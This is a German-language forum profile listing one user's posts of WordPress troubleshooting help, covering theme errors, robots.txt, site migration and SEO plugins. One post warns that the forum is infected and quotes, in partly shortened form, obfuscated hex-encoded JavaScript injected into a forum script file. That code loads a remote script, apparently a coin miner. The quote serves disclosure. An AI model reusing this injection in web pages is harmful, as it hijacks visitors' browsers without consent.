Beiträge von b3317133

Das sind keine Bestandteile von Twenty Seventeen, vergleiche den Code mal mit dem Standard Twenty Seventeen Download.

Sieht nach Hack aus...

Wer nach Feedback fragt, bekommt Feedback. Wer damit nicht umgehen kann, sollte das Fragen lassen.

Was genau steht in der o.g. Datei in Zeile 73?

In Zeile 73 in der Datei functions.php des standard Twenty Seventeen Themes gibt es [COLOR=#000000][FONT=monospace]REQUEST_URI[/FONT][/COLOR] nicht, hast Du eigene Änderungen eingebaut?

Lt. Fehlermeldung steht vermutlich irgendwo [FONT=courier new]$_SERVER[REQUEST_URI][/FONT] statt [FONT=courier new]$_SERVER['REQUEST_URI'][/FONT]

Wie genau "anders verteilt"? Per CSS? In PHP-Dateien? In einem Page-Builder Plugin?

Ja, dafür gibt es den Bereich Jobbörse hier im Forum.

Ja, z.B. hier.

Zitat von KarlKanone

installieren, aktivieren, fertig.

Kann man machen, für Leute, die sich mit WordPress etwas auskennen, stellt sich aber die Frage, wozu man ein dauerhaft aktives Plugin braucht, wenn man das Problem mit einem einmaligen Eingriff lösen kann.

Wenn man die per FTP hochgeladenen Dateien über den Dateinamen jeweils eindeutig einem WordPress Benutzer zuordnen kann, könnte man eine Art automatisches Einfügen in eine Download-Seite o.ä. umsetzen. Erfordert PHP-Kenntnisse über Anfänger-Niveau.

Es gibt ein älteres Plugin "Snitch" für die WordPress API, das aber nicht für neuere Versionen von WordPress getestet ist.

Generell überwachen kann man das mit WordPress Bordmitteln nicht, es gibt auch Themes & Plugins, die direkt via PHP z.B. cURL oder file_get_contents(), fopen(), simplexml_load_file() usw. externe Server ansprechen. Um einen manuellen Audit kommt man also nicht herum.

Zitat von Diddy

Ich habe Anpassungen an einer Seite durchgeführt, welche im Endeffekt total misslungen sind.

Welche genau?

WordPress liefert eine passende dynamisch erzeugte robots.txt wenn keine "echte" Datei vorhanden ist.

Das manuelle Einfügen einer "meta robots" im html Code ist nicht anzuraten, da das sowohl die o.g. "Einstellungen -> Lesen" Funktion als auch diverse SEO-Plugins aushebelt.

Meines Erachtens ist der aktuelle Zustand der Seite völlig ok.

Warum Seobility eine andere robots.txt auswertet als tatsächlich vorhanden ist, ist unklar. Ggf. ein Cache bei Seobility einer früheren Version o.ä., würde in dem Fall mal dort direkt nachfragen.

Läuft irgendein "Security"-Plugin?

Ersetze mit Better Search Replace in allen Tabellen den alten Installationsort [FONT=courier new]http://lokal[/FONT] mit dem neuen [FONT=courier new]http://www.domain.de[/FONT]

Vorher ein Backup machen, falls was nicht klappt. Mehr zum Plugin auf div. Seiten..

Link zur Seite? Beispiel eines o.g. 404 Links?

Entferne Deine robots.txt, geht es dann?

Ist unter "Einstellungen -> Lesen" ggf. ein Haken bei "Suchmaschinen davon abhalten, diese Website zu indexieren" gesetzt?

Link zur Seite?

Beim Umzug auf eine andere Domain (lokal -> online) muss man noch die Links in der Datenbank anpassen, evtl. fehlt da noch was, üblicherweise mit einem Plugin wie "Better Search Replace" oder wenn man den ganzen Umzug per Plugin macht, mit "Duplicator" o.ä.

Was genau wurde bei "online bringen" gemacht?

Stichwort Yoast SEO Titel, mehr dazu hier. Alternativ befrage denjenigen, der das Plugin installiert hat.

Beschäftige Dich etwas mit den Möglichkeiten des auf dem Website installierten Yoast SEO Plugins.

Das Forum ist wieder verseucht. Unglaublich aber wahr. Wieder mal der CoinMiner Trojaner. Offenbar gelingt es seit Monaten nicht, diese Lücke zu schliessen, warum auch immer... :???:

forum.wpde.org/clientscript/vbulletin_read_marker.js?v=425

Zitat

... title=vbphrase.doubleclick_forum_markread;A[B].style.cursor=pointer_cursor;A[B].ondblclick=init_forum_readmarker_icon}}}};[COLOR=#ff0000] var _0x3763=["\x3C\x73[/COLOR]...[COLOR=#ff0000]\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x2F\x2F\x6D\x66\x69\x6F\x2E\x63\x66\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];var _0x9473=[_0x3763[0],_0x3763[1]];var _0x6095=[_0x9473[0],_0x9473[1]];var _0xd944=[_0x6095[0],_0x6095[1]];var _0x76bb=[_0xd944[0],_0xd944[1]];var _0x38cf=[_0x76bb[0],_0x76bb[1]];var _0xc93a=[_0x38cf[0],_0x38cf[1]];document[_0xc93a[1]](_0xc93a[0])[/COLOR]

Ergänzung: Da es immer wieder möglich ist, JavaScript-Dateien auf dem Server so abzuändern, ist der komplette Server als verseucht zu betrachten...

Eine Seite /login gibt es bei WordPress standardmässig nicht.

Die "blanken Seiten" sind nicht blank, sondern liefern 3 Bytes, nämlich ein UTF-8 BOM. Das lässt darauf schliessen, dass wahrscheinlich in [FONT=courier new]wp-config.php[/FONT] eine manuelle Änderung erfolgt ist und die Datei mit BOM statt ohne BOM gespeichert wurde.

Das "Medien hochladen" Problem dürfte wieder andere Gründe haben.

Würde es mal ohne diese Zeile in [FONT=courier new]../themes/ams2016/dist/scripts.js[/FONT] und ohne das Autoptimize Plugin versuchen:

$("link[media="1"]").attr("media", "all"); // load css async